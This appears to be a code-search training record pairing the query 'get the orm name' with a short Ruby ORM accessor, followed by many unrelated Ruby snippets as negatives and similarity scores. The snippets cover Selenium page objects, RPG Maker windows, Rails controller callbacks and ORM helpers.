"def edit_field_properties_settings(fieldname, new_fieldname = nil, label_pos = nil, def_value = nil, help_text = nil)\n wait = Selenium::WebDriver::Wait.new(:timeout => 15)\n Log.logger.info(\"Clicking on #{fieldname.inspect} element (should open 'Field Settings' tab)\")\n wait.until { @browser.find_element(:xpath => @webformmgr.fieldset_label(fieldname)) }.click\n Log.logger.info(\"Waiting for 'Field Settings' tab to open\")\n wait.until { @browser.find_element(:xpath => \"//div[@id='edit-ui-wrapper']//li[contains(@class,'horizontal-tab-button last selected')]\") }\n if(new_fieldname != nil)\n Log.logger.info(\"Changing #{fieldname} to '#{new_fieldname}'\")\n temp = wait.until { @browser.find_element(:xpath => @webformmgr.labeltitle(fieldname)) }\n JQuery.wait_for_events_to_finish(@browser)\n temp.clear\n temp.send_keys(new_fieldname)\n wait.until { @browser.find_element(:xpath => @webformmgr.fieldset_label(new_fieldname)) }\n JQuery.wait_for_events_to_finish(@browser)\n end\n if(label_pos != nil)\n Log.logger.info(\"Changing #{fieldname} label position to '#{label_pos}'\")\n flag = false\n @browser.find_element(:xpath => @webformmgr.label_display).find_elements(:xpath => \"//option\").each {|e|\n next unless e.text.downcase.include?(label_pos.downcase) ; flag = true ; e.click ; break ;\n }\n raise \"Selected label #{label_pos.inspect} isn't included in the possible options\" unless flag\n end\n if(def_value != nil)\n Log.logger.info(\"Adding default value '#{def_value}' to webform component '#{fieldname}'\")\n @browser.find_element(:xpath => @webformmgr.default_value_chkbox).click\n temp = wait.until { @browser.find_element(:xpath => @webformmgr.default_value) }\n temp.clear\n temp.send_keys(def_value)\n wait.until { @browser.find_element(:xpath => \"//input[@value='#{def_value}']\") }\n end\n if(help_text != nil)\n Log.logger.info(\"Adding Help Text '#{help_text}' to webform component '#{fieldname}'\")\n @browser.find_element(:xpath => @webformmgr.desc_chkbox).click\n temp = wait.until { @browser.find_element(:xpath => @webformmgr.desc_textarea) }\n temp.clear\n temp.send_keys(help_text)\n wait.until { @browser.find_element(:xpath => \"//div[text()='#{help_text}']\") }\n end\n return new_fieldname\n end",
"def setlinetype(*)\n super\n end",
"def set_main_group(group)\r\n #@main_group = group\r\n\t\t@groups[10] = group\r\n\tend",
"def set_form_row #:nodoc:\n if !@current_component.nil?\n #$log.debug \" #{@name} set_form_row calling sfr for #{@current_component.name} \"\n #fc = @current_component.widgets[0]\n fc = @current_component.get_current_field\n fc ||= @current_component.widgets[0]\n fc.set_form_row if fc\n #fc.set_form_col \n end\n end",
"def main_window\r\n super\r\n # Make command window\r\n s1 = SDK::Scene_Commands::Scene_Title::New_Game\r\n s2 = SDK::Scene_Commands::Scene_Title::Continue\r\n s3 = SDK::Scene_Commands::Scene_Title::Shutdown\r\n @command_window = Window_Command.new(192, [s1, s2, s3])\r\n @command_window.back_opacity = 160\r\n @command_window.x = 320 - @command_window.width / 2\r\n @command_window.y = 288\r\n # If continue is enabled, move cursor to \"Continue\"\r\n # If disabled, display \"Continue\" text in gray\r\n if @continue_enabled\r\n @command_window.index = 1\r\n else\r\n @command_window.disable_item(1)\r\n end\r\n end",
"def initialize(main_window)\n\t\tsuper()\n\t\t@main_window = main_window\n\t\t@grid_sensitive_spin_button_list = Array.new\n\t\tself.enable_popup = true\n\t\tself.add(w = Box_Widget.new(self), :tab_label => 'Box')\n\t\tself.set_tab_reorderable(w, true)\n\t\tself.add(w = Net_Widget.new(self), :tab_label => 'Net')\n\t\tself.set_tab_reorderable(w, true)\n\t\tself.add(w = Pin_Widget.new(self), :tab_label => 'Pin')\n\t\tself.set_tab_reorderable(w, true)\n\t\tself.add(w = Path_Widget.new(self), :tab_label => 'Path')\n\t\tself.set_tab_reorderable(w, true)\n\t\tself.add(w = Sym_Widget.new(self), :tab_label => 'Sym')\n\t\tself.set_tab_reorderable(w, true)\n\tend",
"def init_vars\n @msg = Gtk::Label.new('')\n self.resizable = false\n self.modal = true \n self.window_position = Gtk::Window::POS_MOUSE \n end",
"def on_field_change\n super\n end",
"def main_window\r\n super\r\n # Make actor command window\r\n s1 = SDK::Scene_Commands::Scene_Battle::Attack\r\n s2 = SDK::Scene_Commands::Scene_Battle::Skill\r\n s3 = SDK::Scene_Commands::Scene_Battle::Guard\r\n s4 = SDK::Scene_Commands::Scene_Battle::Item\r\n @actor_command_window = Window_Command.new(160, [s1, s2, s3, s4])\r\n @actor_command_window.y = 160\r\n @actor_command_window.back_opacity = 160\r\n @actor_command_window.active = false\r\n @actor_command_window.visible = false\r\n # Make other windows\r\n @party_command_window = Window_PartyCommand.new\r\n @help_window = Window_Help.new\r\n @help_window.back_opacity = 160\r\n @help_window.visible = false\r\n @status_window = Window_BattleStatus.new\r\n @message_window = Window_Message.new\r\n end",
"def post_initialize_fields\n end",
"def apply\n\t\t@ui_entity = ActionUI.new @entity\n\t\t\n\t\tp = @origin\n\t\t# TODO: convert origin point into character boundary, and then into world-space position\n\t\t# (basically the same as saying \"where would the text caret go\")\n\t\t\n\t\t@ui_entity[:physics].body.p = p\n\t\t\n\t\t@space.entities.add @ui_entity\n\tend",
"def set_layout\n @layoutme = 1\n end",
"def set_elements\n super\n element(:po_number) {b.span(:id => \"process_item_po_doc_line#{line_id}_control\")}\n element(:po_end_date) {b.text_field(:id => \"invoice-poEndDate_line#{line_id}_control\")}\n element(:close_po_checkbox) {b.checkbox(:id => \"CurrentItem_closePO_line#{line_id}_control\")}\n element(:delete_po_button) {b.button(:id => \"CurrentItem_deletePurchaseOrder_line#{line_id}\")}\n element(:requisitions_toggle) {b.a(:id => \"po-requisition-view_line#{line_id}_toggle\")}\n element(:purchase_orders_toggle) {b.a(:id => \"po-po-view_line#{line_id}_toggle\")}\n element(:line_item_receiving_toggle) {b.a(:id => \"po-relatedReceiving-view_line#{line_id}_toggle\")}\n element(:correction_receiving_toggle) {b.a(:id => \"po-relatedCorrectionReceiving-view_line#{line_id}_toggle\")}\n element(:payment_requests_toggle) {b.a(:id => \"po-relatedPayment-view_line#{line_id}_toggle\")}\n element(:credit_memos_toggle) {b.a(:id => \"po-relatedCreditMemo-view_line#{line_id}_toggle\")}\n element(:add_button) {b.button(:id => \"addPOItems_button_test_line#{line_id}\")}\n end",
"def set_type\n end",
"def set_form_field\n @form_field = FormField.find(params[:id])\n end",
"def main_window\r\n super\r\n # Make command window\r\n s1 = SDK::Scene_Commands::Scene_End::To_Title\r\n s2 = SDK::Scene_Commands::Scene_End::Shutdown\r\n s3 = SDK::Scene_Commands::Scene_End::Cancel\r\n @command_window = Window_Command.new(192, [s1, s2, s3])\r\n @command_window.x = 320 - @command_window.width / 2\r\n @command_window.y = 240 - @command_window.height / 2\r\n end",
"def change_details\n @engine = Engine.new\n @milage = input_milage\n @top_speed = input_max_speed\n end",
"def edit(*)\n super.tap do\n submission.set_simulation(__method__) if simulating\n end\n end",
"def set_field\n @field = @nested_form.fields.find(params[:id])\n end",
"def set_mission\n self.mission = form.try(:mission)\n end",
"def set_focus\n\t\t@line.focus\n\tend",
"def editorSetEventHandler _obj, _args\n \"_obj editorSetEventHandler _args;\" \n end",
"def set_defaults\n super\n self.parent ||= transam_asset.try(:parent)\n self.asset_event_type ||= AssetEventType.find_by_class_name(self.name)\n end",
"def init_custom_fields\n @image = ''\n @subtype_id = 1\n end",
"def data=(value)\n @main.text = value.to_s\n end",
"def set_field\n @field = Field.find(params[:id])\n end",
"def after_form_update(options)\n main_id = find_or_add_main(options)\n # If the person was new, add contact and note\n if options[:was_new]\n new_contact = Contact.create(:person_id => options[:record].id,\n :contact_category => ContactCategory.where(:email => true).first,\n :data => \"#{record.bulogin}@bu.edu\")\n end\n trigger :display_form, {:pid => options[:record].id, :id => main_id}\n super(options)\n end",
"def main_window\r\n super\r\n # Make command window\r\n s1 = \"New Game\"\r\n s2 = \"Continue\"\r\n s3 = \"Shutdown\"\r\n @command_window = Window_Command.new(192, [s1, s2, s3])\r\n @command_window.back_opacity = 160\r\n @command_window.x = 320 - @command_window.width / 2\r\n @command_window.y = 288\r\n # If continue is enabled, move cursor to \"Continue\"\r\n # If disabled, display \"Continue\" text in gray\r\n if @continue_enabled\r\n @command_window.index = 1\r\n else\r\n @command_window.disable_item(1)\r\n end\r\n end",
"def set_template_form_field\n @template_form_field = TemplateFormField.find(params[:id])\n end",
"def comment_in_first_box=(comment)\n frm.text_field(:name=>\"editTotalResults:totalScoreTable:0:_id345\").value=comment\n end",
"def set_field\n @field = Field.find(params[:id])\n end",
"def set_field\n @field = Field.find(params[:id])\n end",
"def set_field\n @field = Field.find(params[:id])\n end",
"def set_elements\n super\n element(:patron_id_field) {b.text_field(:id => \"olePatronId_control\")}\n element(:barcode_field) {b.text_field(:id => \"barcode_control\")}\n element(:first_name_field) {b.text_field(:id => \"firstName_control\")}\n element(:last_name_field) {b.text_field(:id => \"lastName_control\")}\n element(:borrower_type_selector) {b.select_list(:id => \"borrowerType_control\")}\n element(:email_address_field) {b.text_field(:id => \"emailAddress_control\")}\n # Search Controls\n # TODO Move these elements to OLE_QA::Framework::OLELS::Lookup (common) when they become universal.\n element(:active_yes_button) {b.radio(:id => 'activeIndicator_control_0')}\n element(:active_no_button) {b.radio(:id => 'activeIndicator_control_1')}\n element(:active_both_button) {b.radio(:id => 'activeIndicator_control_2')}\n element(:search_button) {b.button(:text => \"Search\")}\n element(:clear_button) {b.button(:text => \"Clear Values\")}\n element(:cancel_button) {b.button(:text => \"Cancel\")}\n end",
"def set_elements\n super\n element(:message) {b.li(:class => 'uif-infoMessageItem')}\n element(:messages) {b.lis(:class => 'uif-infoMessageItem')}\n element(:message_header) {b.h3(:class => 'uif-pageValidationHeader')}\n element(:submit_button) {b.button(:id => \"submitEditor\")}\n element(:cancel_button) {b.button(:id => \"cancelEditor\")}\n element(:close_button) {b.button(:id => \"closeEditor\")}\n element(:return_to_search_button) {b.button(:id => \"returnToSearch_button\")}\n # Navigation Area Elements\n element(:delete_bib_button) {b.button(:title => 'Delete Bib')}\n element(:add_instance_button) {b.button(:title => 'Add Instance')}\n element(:add_einstance_button) {b.button(:title => 'Add EInstance')}\n # @note Vakata Context Menu items are only present on the screen after the containing menu header has been right-clicked.\n element(:delete_instance_button) {b.div(:id => 'vakata-contextmenu').ul.li(:index => 0).a(:rel => \"Delete\")}\n element(:add_item_button) {b.button(:title => 'Add Item')}\n element(:delete_item_button) {b.div(:id => 'vakata-contextmenu').ul.li(:index => 0).a(:rel => 'Delete')}\n end",
"def set_Parent(value)\n set_input(\"Parent\", value)\n end",
"def set_custom_form_field\n @custom_form_field = CustomFormField.find(params[:id])\n end",
"def init\n \tself.mode = \"Manual\"\n \tself.status = \"Off\"\n end",
"def setcharexpan(*)\n super\n end",
"def set_parent(parent)\n @parent = parent\n end",
"def main_window\r\n super\r\n # Make main command window\r\n main_command_window\r\n # Make play time window\r\n @playtime_window = Window_PlayTime.new\r\n @playtime_window.x = 0\r\n @playtime_window.y = 224\r\n # Make steps window\r\n @steps_window = Window_Steps.new\r\n @steps_window.x = 0\r\n @steps_window.y = 320\r\n # Make gold window\r\n @gold_window = Window_Gold.new\r\n @gold_window.x = 0\r\n @gold_window.y = 416\r\n # Make status window\r\n @status_window = Window_MenuStatus.new\r\n @status_window.x = 160\r\n @status_window.y = 0\r\n end",
"def initialize\n super\n @vertical = false\n self[:tabindex] ||= 0\n end",
"def pre_render(screen, field)\n self.screen = screen\n self.field = field\n end",
"def edit\n #SET_CHEF method will be called form BEFORE_ACTION\n end",
"def setup!\n setup_defaults!\n setup_instance_methods!\n @owner_class.embedded = true\n self\n end",
"def set_field\n @field = @group.fields.find(params[:id])\n end",
"def set_form_col\n return unless @focusable\n # need to set it to first point, otherwise it could be off the widget\n r,c = rowcol\n setrowcol r, c\n end",
"def start\n fill_field\n output\n end",
"def setBehaviour _obj, _args\n \"_obj setBehaviour _args;\" \n end",
"def set_elements\n super\n # Vendor Tab\n element(:date_received_field) {b.text_field(:id => \"document.shipmentReceivedDate\")}\n element(:packing_slip_number_field) {b.text_field(:id => \"document.shipmentPackingSlipNumber\")}\n element(:bill_of_lading_number_field) {b.text_field(:id => \"document.shipmentBillOfLadingNumber\")}\n element(:reference_number_field) {b.text_field(:id => \"document.shipmentReferenceNumber\")}\n element(:carrier_selector) {b.select_list(:id => \"document.carrierCode\")}\n end",
"def parent=(_arg0); end",
"def parent=(_arg0); end",
"def parent=(_arg0); end",
"def parent=(_arg0); end"
] |
[
"0.6121511",
"0.6121511",
"0.5920789",
"0.5870191",
"0.54317486",
"0.54254335",
"0.5371921",
"0.53626394",
"0.5290675",
"0.52900124",
"0.5288204",
"0.52789694",
"0.5273231",
"0.52376795",
"0.51954526",
"0.51890117",
"0.5157922",
"0.51543725",
"0.51472825",
"0.51383656",
"0.51383656",
"0.51301694",
"0.5125661",
"0.5124717",
"0.5117663",
"0.5111904",
"0.510945",
"0.51019806",
"0.50865847",
"0.508183",
"0.507169",
"0.5058946",
"0.5055923",
"0.50465465",
"0.5044025",
"0.50417095",
"0.5035554",
"0.5033253",
"0.5028386",
"0.5026149",
"0.50212497",
"0.50125974",
"0.500772",
"0.50067884",
"0.4999722",
"0.49905962",
"0.4979531",
"0.49746025",
"0.49723965",
"0.496656",
"0.49613744",
"0.49594355",
"0.49535915",
"0.4949272",
"0.49472186",
"0.49441847",
"0.49424592",
"0.4938768",
"0.4932552",
"0.49270898",
"0.49246177",
"0.4922607",
"0.49215677",
"0.4916569",
"0.4916079",
"0.49160036",
"0.49125922",
"0.49023834",
"0.48915082",
"0.48905003",
"0.48903525",
"0.48869094",
"0.4884935",
"0.48849148",
"0.48760673",
"0.4872369",
"0.4872369",
"0.4872369",
"0.48717323",
"0.4868212",
"0.48654106",
"0.4864136",
"0.48631987",
"0.48613447",
"0.4856405",
"0.48549896",
"0.485429",
"0.48499876",
"0.4849406",
"0.48486856",
"0.4844834",
"0.48423824",
"0.48383358",
"0.48354375",
"0.4824976",
"0.48191735",
"0.48191735",
"0.48191735",
"0.48191735"
] |
0.50327665
|
39
|
get the orm name
|
def orm
@orm || self.class.default_orm
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def orm\n @orm ||= :none\n end",
"def name\n @db_name\n end",
"def orm\n if @orm\n return @orm\n else\n self.orm = ENV['ORM']\n end\n @orm\n end",
"def orm\n @orm ||= begin\n if defined?(ActiveRecord::Base) && ActiveRecord::Base.connected? && Setting.table_exists?\n :activerecord\n else\n :ruby\n end\n end\n end",
"def model_name\n configuration.model_name\n end",
"def model_name\n model.name\n end",
"def default_database_name\n self.name.tableize\n end",
"def name\n model_name\n end",
"def model_name; end",
"def model_name; end",
"def database_name\n @dbi.db_name\n end",
"def database_name\n @dbi.db_name\n end",
"def orm_instance(name=singular_table_name)\n @orm_instance ||= orm_class.new(name)\n end",
"def current_database_name\n ActiveRecord::Base.connection_pool.spec.config[:name] || 'default'\n end",
"def database_name\n database&.name\n end",
"def model_name\n self.class.model_name\n end",
"def db_name \n 'admin'\n end",
"def table_name\n self.class.table_name\n end",
"def orm_class\n @orm_class ||= begin\n # Raise an error if the class_option :orm was not defined.\n unless self.class.class_options[:orm]\n raise \"You need to have :orm as class option to invoke orm_class and orm_instance\"\n end\n\n begin\n \"#{options[:orm].to_s.camelize}::Generators::ActiveModel\".constantize\n rescue NameError\n Rails::Generators::ActiveModel\n end\n end\n end",
"def _table_name\n self.class.table_name\n end",
"def _owner_name\n\t\tif not ActiveRecord::Base.connection.table_exists? 'model_owners'\n\t\t\treturn ''\n\t\tend\n\t\towner = ModelOwner.where(:inki_model_name => self.class.table_name, :model_id => self.id).first\n\t\towner.model_owner_name if owner\n\tend",
"def name\n db_name = URI.parse(uri(self)).path.to_s.sub(\"/\", \"\")\n db_name.blank? ? database : db_name\n end",
"def database_name # :nodoc:\n return nil unless Module.constants.include? 'DataMapper' or Module.constants.include? :DataMapper\n raise \"No such database connection #{options[:database]}\" if options[:database] and DataMapper::Repository.adapters[options[:database]].nil?\n # Custom database connection specified\n return options[:database].to_sym if options[:database]\n # Leaf config name\n return leaf_name.to_sym if DataMapper::Repository.adapters[leaf_name.to_sym]\n # Leaf config name, underscored\n return leaf_name.methodize.to_sym if DataMapper::Repository.adapters[leaf_name.methodize.to_sym]\n # Leaf class name\n return self.class.to_s.to_sym if DataMapper::Repository.adapters[self.class.to_s.to_sym]\n # Leaf class name, underscored\n return self.class.to_s.methodize.to_sym if DataMapper::Repository.adapters[self.class.to_s.methodize.to_sym]\n # I give up\n return nil\n end",
"def schema_name\n return self.table_name.split('.')[0] if self.table_name && self.table_name =~ /\\./\n return self.table_name_prefix.to_s.gsub(/\\./,'') if self.table_name_prefix && self.table_name_prefix =~ /\\./\n return self.connection.config[:database] if self.connection.mysql?\n end",
"def model_name\n self.class\n end",
"def model_name\n self.class\n end",
"def table_name\n self.class.name.demodulize.tableize\n end",
"def name\n model_name\n end",
"def name\n model_name\n end",
"def model_name\n self\n end",
"def table_name\n self.name.split('::').last\n end",
"def get_table_name\n self.class.table_name\n end",
"def target_alias\n @model.table_name\n end",
"def db_name\n data[:db_name]\n end",
"def namespace\n \"#{database.name}.#{name}\"\n end",
"def namespace\n \"#{database.name}.#{name}\"\n end",
"def class_name\n table.model.name\n end",
"def table_name\n self.class.table_name\n end",
"def name\n @config.db_name.gsub(/@thismachinehostname@/, Socket.gethostname).\n gsub(/@prefix@/, prefix)\n end",
"def model_name\n ::ActiveModel::Name.new(self, nil, ::ActiveSupport::Inflector.demodulize(self))\n end",
"def name\n self.connection.name\n end",
"def model_name\n self.class.name.underscore.split('_').first.singularize\n end",
"def class_name\n @class_name ||= active_record.name\n end",
"def owner_key_name\n reflection.join_foreign_key\n end",
"def owner_key_name\n reflection.join_foreign_key\n end",
"def db_name\n @uri.path.split('/').last\n end",
"def orm_instance(name=file_name)\n @orm_instance ||= @orm_class.new(name)\n end",
"def model_name\n root.singularize.camelize if root.present?\n end",
"def database_name\n @database_name\n end",
"def table_name; \"gdo_module\"; end",
"def default_model_name\n @object.class.to_s\n end",
"def table_name\n @table_name ||= self.class.const_get(class_name).table_name\n end",
"def orm; end",
"def model_name\n @model.name.demodulize.downcase # ex: posts\n end",
"def qualified(object_name)\n \"#{@database}.#{@owner}.#{object_name}\"\n end",
"def table_name\n model_class.table_name\n end",
"def table_name\n model_class.table_name\n end",
"def table_name\n self.to_s.pluralize.underscore\n end",
"def default_join_table\n ([self[:class_name].demodulize, self[:model].name.to_s.demodulize]. \\\n map{|i| i.pluralize.underscore}.sort.join('_')).to_sym\n end",
"def name\n \"#{connection.class.name}/#{path}\"\n end",
"def model_name\n model_name = options.fetch(:model_name) do\n ActiveSupport::Inflector.singularize(name.to_s)\n end\n\n Name.new(model_name.to_s)\n end",
"def local_name; connection_space.name end",
"def default_orm=(orm)\n\t\t\t@default_orm = orm\n\t\tend",
"def db_name\n\treturn File.basename($0, \".*\") + \"_db.yml\"\nend",
"def model_name\n if defined?(ActiveSupport::ModelName)\n ActiveSupport::ModelName.new(name)\n else\n ActiveModel::Name.new(self)\n end\n end",
"def engine_name\n @engine_name\n end",
"def full_name\n \"#{@table_alias}#{name}\"\n end",
"def database_name\n data[:database_name]\n end",
"def mdl_name\n self.class.mdl_name\n end",
"def orm_modules\n if Merb.const_defined?('Orms')\n Merb::Orms.constants.map { |c| Merb::Orms::const_get(c) }\n else\n []\n end\n end",
"def model_association_name\n full_implementation_class_name.pluralize.ns_underscore.to_sym\n end",
"def model_name(model)\n model.class.to_s.downcase\n end",
"def real_table_name\n packageid.gsub('.', '_')\n end",
"def derive_db_id(model_name, obj_id)\n \"#{model_name}_#{obj_id}\"\n end",
"def model_name\n @model_name ||= if defined?(ActiveModel::Name)\n ActiveModel::Name.new(call(:model)).param_key\n else\n call(:model).name.underscore\n end.to_sym\n end",
"def model_name; 'Post'; end",
"def model_name; 'Post'; end",
"def table_name\n\t\tself.table_name\n\tend",
"def model_name\n @_model_name ||= ActiveModel::Naming.param_key(model.new)\n end",
"def schema_name\n @schema_name ||= owner_type.eql?('Root') ? owner.tenant.schema_name : schema_name_from_access_key_id\n end",
"def model_name\n ''\n end",
"def from_table_name\r\n owning_class.table_name\r\n end",
"def default_orm\n\t\t\t@default_orm ||= :in_memory\n\t\tend",
"def relation_name\n self.class.relation_name\n end",
"def name\n I18n.t(\"relation_#{ self.class.name.split(\"::\").last.underscore }.name\")\n end",
"def name\n I18n.t(\"relation_#{ self.class.name.split(\"::\").last.underscore }.name\")\n end",
"def database_name\n __evaluate__(storage_options[:database])\n end",
"def readonly_class_name(db_name)\n \"#{db_name.camelize}\"\n end",
"def model_name\n @_model_name ||= begin\n klass = respond_to?(:main_class) ? main_class : self\n\n namespace = klass.parents.detect do |n|\n n.respond_to?(:use_relative_model_naming?) && n.use_relative_model_naming?\n end\n ActiveModel::Name.new(klass, namespace)\n end\n end",
"def model_table_name\n model_name = model_param.name\n model_class = model_name.demodulize\n model_class.tableize\n end",
"def model_name\n @_model_name ||= begin\n namespace = module_parents.detect do |n|\n n.respond_to?(:use_relative_model_naming?) && n.use_relative_model_naming?\n end\n ActiveModel::Name.new(self, namespace)\n end\n end",
"def record_table_name(record)\n record.class.table_name\n end",
"def relation_name\n klass.relation\n end",
"def model_name\n @model_class ? @model_class.name.demodulize.underscore : self.controller_name.singularize\n end",
"def persistence_name\n @name\n end",
"def orm_class\n @orm_class ||= begin\n # Raise an error if the class_option :orm was not defined.\n unless self.class.class_options[:orm]\n raise \"You need to have :orm as class option to invoke orm_class and orm_instance\"\n end\n\n action_orm = \"#{options[:orm].to_s.classify}::Generators::ActiveModel\"\n\n # If the orm was not loaded, try to load it at \"generators/orm\",\n # for example \"generators/active_record\" or \"generators/sequel\".\n begin\n klass = action_orm.constantize\n rescue NameError\n require \"generators/#{options[:orm]}\"\n end\n\n # Try once again after loading the file with success.\n klass ||= action_orm.constantize\n rescue Exception => e\n raise Error, \"Could not load #{action_orm}, skipping controller. Error: #{e.message}.\"\n end\n end",
"def taskname(name)\n case Merb.orm\n when :datamapper : \"dm:db:fixtures:#{name}\"\n when :sequel : \"sequel:db:fixtures:#{name}\"\n when :activerecord : \"db:fixtures:#{name}\"\n end\nend",
"def get_model_name\n @model_name ||= self.class_simple_name.underscore[0..-12].singularize\n end",
"def default_join_table\n [self[:class_name], self[:model].name].map{|i| underscore(pluralize(demodulize(i)))}.sort.join('_').to_sym\n end"
] |
[
"0.7173224",
"0.712456",
"0.69726235",
"0.6966767",
"0.677164",
"0.66634834",
"0.6635984",
"0.6625153",
"0.65889144",
"0.65889144",
"0.6560384",
"0.6560384",
"0.65079117",
"0.6498855",
"0.6463175",
"0.64550096",
"0.6430718",
"0.642821",
"0.6414036",
"0.6414004",
"0.6411984",
"0.64074534",
"0.6380702",
"0.6351296",
"0.6343379",
"0.629837",
"0.6295868",
"0.6292089",
"0.6292089",
"0.62904614",
"0.62830067",
"0.62667936",
"0.6245992",
"0.6245085",
"0.6239552",
"0.6239552",
"0.62366813",
"0.6217347",
"0.6182057",
"0.6179973",
"0.61771154",
"0.61763734",
"0.61567956",
"0.6154144",
"0.6154144",
"0.6153462",
"0.6139117",
"0.6137076",
"0.6120383",
"0.610463",
"0.6104522",
"0.61042005",
"0.61014134",
"0.6089516",
"0.6069699",
"0.60676056",
"0.60676056",
"0.6056023",
"0.6046888",
"0.60434586",
"0.6032257",
"0.60313386",
"0.60282177",
"0.6007175",
"0.60046",
"0.5997402",
"0.5995079",
"0.59884405",
"0.5988258",
"0.5986172",
"0.5981147",
"0.5975245",
"0.59695613",
"0.59665275",
"0.5955298",
"0.5948694",
"0.5948401",
"0.59461814",
"0.59414214",
"0.5931464",
"0.5931229",
"0.59289575",
"0.59118927",
"0.5911127",
"0.59059566",
"0.59059566",
"0.5891241",
"0.5888658",
"0.588755",
"0.58781594",
"0.5854453",
"0.5838736",
"0.58242536",
"0.5824212",
"0.58161944",
"0.5812563",
"0.5809869",
"0.58038783",
"0.57960373"
] |
0.7326106
|
1
|
is it a generic strategy/orm ?
|
def generic?
return true if orm.nil? || orm == :generic
@generic.nil? ? false : @generic
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def orm; end",
"def alchemy\r\n end",
"def strategy; end",
"def generic?; true; end",
"def single_object_db; end",
"def prerecord(klass, name); end",
"def use_prepared_statements_for?(type)\n if defined?(super)\n result = super\n return result unless result.nil?\n end\n\n case type\n when :insert, :insert_select, :update\n true\n # SEQUEL5: Remove :delete/:refresh\n when :delete\n return true unless model.fast_instance_delete_sql\n\n # Using deletes for prepared statements appears faster on Oracle and DB2,\n # but not for most other database types if optimized SQL is used.\n db_type = model.db.database_type\n db_type == :oracle || db_type == :db2\n when :refresh\n !model.fast_pk_lookup_sql\n else\n raise Error, \"unsupported type used: #{type.inspect}\"\n end\n end",
"def dynamic?; end",
"def orm\n @orm ||= :none\n end",
"def use_adaptor! base, object\n orm_map.each_pair do |orm, const|\n begin\n base.class.send :include, get_adapter(object, const.constantize, orm)\n rescue\n next\n end\n end\n end",
"def orm\n @orm || self.class.default_orm\n end",
"def orm\n @orm || self.class.default_orm\n end",
"def initializeORM()\n\t# nothing to do\nend",
"def engine\n @dbi.engine\n end",
"def engine\n @dbi.engine\n end",
"def default_orm\n\t\t\t@default_orm ||= :in_memory\n\t\tend",
"def factory_strategy; end",
"def make_and_model; end",
"def dynamic?; @dynamic end",
"def orm_instance(name=singular_table_name)\n @orm_instance ||= orm_class.new(name)\n end",
"def abstract?; end",
"def strategy=(_arg0); end",
"def relation_by_sql_perform\n # Determine the base query\n case params[:method]\n when \"find_by_sql\"\n query = \"SELECT * FROM all_types_objects\"\n when \"count_by_sql\"\n query = \"SELECT COUNT(*) FROM all_types_objects\"\n else\n raise \"Unknown method '#{params[:method]}'\"\n end\n\n case params[:option]\n when 'string'\n # Build the conditions.\n conditions = build_conditions('joined', 'string', params[:conditions]).first\n # And append them to the query\n query += ' WHERE ' + conditions.first if conditions.present?\n when 'array'\n # Build the conditions.\n conditions = build_conditions('joined', 'array', params[:conditions]).first\n # And rebuild the query such that it is an array with a statement and bind values for that statement.\n query = [query + ' WHERE ' + conditions.first.shift, *conditions.first] if conditions.present?\n end\n\n # Perform the query\n @result = AllTypesObject.send(params[:method], query)\n\n respond_with(@result)\n end",
"def persisted?; end",
"def persisted?; end",
"def query; end",
"def execute\n raise NotImplementedError\n end",
"def relation_objects_perform\n # Build the relation depending on the various options (query methods).\n relation = AllTypesObject.all\n # Extract and apply query methods.\n relation = apply_query_methods(relation, params)\n\n # Perform the query\n case params[:method]\n when \"first\", \"last\", \"take\"\n amount = params[:amount].to_i if params[:amount].present?\n @results = relation.send(params[:method], *amount)\n when \"to_a\", \"all\", \"load\", \"reload\", \"first!\", \"last!\", \"take!\"\n @results = relation.send(params[:method])\n when \"select\"\n @results = relation.send(params[:method]) { true } # Select with a block acts as a finder method. The block simply returns true to not futher limit the results.\n when \"find\"\n case params[:option]\n when \"sub_method\"\n if FIND_SUB_METHODS.include?(params[:sub_method])\n @results = relation.send(params[:method], params[:sub_method].to_sym)\n else\n flash[:alert] = \"Unknown sub method selected\" unless running?\n end\n when \"single_id\"\n @results = relation.send(params[:method], params[:id])\n when \"id_list\"\n @results = relation.send(params[:method], *params[:id])\n when \"id_array\"\n @results = relation.send(params[:method], params[:id])\n end\n when \"find_by\", \"find_by!\"\n conditions = build_conditions('joined', 'list', params[:conditions]).first || [nil]\n @results = relation.send(params[:method], *conditions)\n when \"find_or_initialize_by\", \"find_or_create_by\", \"find_or_create_by!\"\n conditions = build_conditions('joined', 'hash', params[:conditions]).flatten.first || {}\n attributes = params[:attributes].reject { |k,v| v.blank? }\n if attributes.present?\n @results = relation.send(params[:method], conditions) { |object| object.attributes = attributes }\n else\n @results = relation.send(params[:method], conditions)\n end\n when \"dynamic_find_by\", \"dynamic_find_by!\"\n # Check if the attribute name is allowed to prevent errors.\n return redirect_to read_test_relation_objects_form_path(params[:method], params[:option]), :alert => \"Selected attribute is not a valid attribute of AllTypesObject!\" unless AllTypesObject.column_names.include?(params[:attribute])\n method = \"find_by_#{params[:attribute]}\" + (params[:method] == \"dynamic_find_by!\" ? \"!\" : \"\")\n @results = relation.send(method, params[:value])\n when \"find_each\", \"find_in_batches\"\n @results = []\n options = {}\n options[:start] = params[:start].to_i if params[:start].present?\n options[:batch_size] = params[:batch_size].to_i if params[:batch_size].present?\n relation.send(params[:method], options) { |results| @results << results }\n when \"first_or_initialize\", \"first_or_create\", \"first_or_create!\"\n @results = relation.send(params[:method], params[:attributes].presence)\n else\n raise \"Unknown method '#{params[:method]}'\"\n end\n\n # Wrap the result(s) in array and flatten (since the template expects an array of results)\n @all_types_objects = (@results.present? ? [@results].flatten : nil)\n\n @includes = (relation.eager_load_values + relation.includes_values + relation.preload_values).uniq\n\n respond_with(@all_types_objects)\n end",
"def model_class; end",
"def orm\n @orm ||= begin\n if defined?(ActiveRecord::Base) && ActiveRecord::Base.connected? && Setting.table_exists?\n :activerecord\n else\n :ruby\n end\n end\n end",
"def orm_instance(name=file_name)\n @orm_instance ||= @orm_class.new(name)\n end",
"def dynamic; end",
"def method_missing(name, *args)\n begin\n @model.send(name, *args)\n rescue NoMethodError\n @model.db.send(name, *args)\n end\n end",
"def use_prepared_statements_for?(type)\n if (type == :update || type == :delete) && !instance_filters.empty?\n false\n else\n super if defined?(super)\n end\n end",
"def [](orm = nil, connection: nil, **)\n if connection.nil?\n if orm.is_a? String\n connection = orm\n elsif orm.is_a?(Hash) && orm.key?(:connection)\n connection = orm[:connection]\n end\n end\n super connection\n end",
"def sql_modes; end",
"def real(options={})\n @real ||= self.type.constantize.find(self.id, options)\n end",
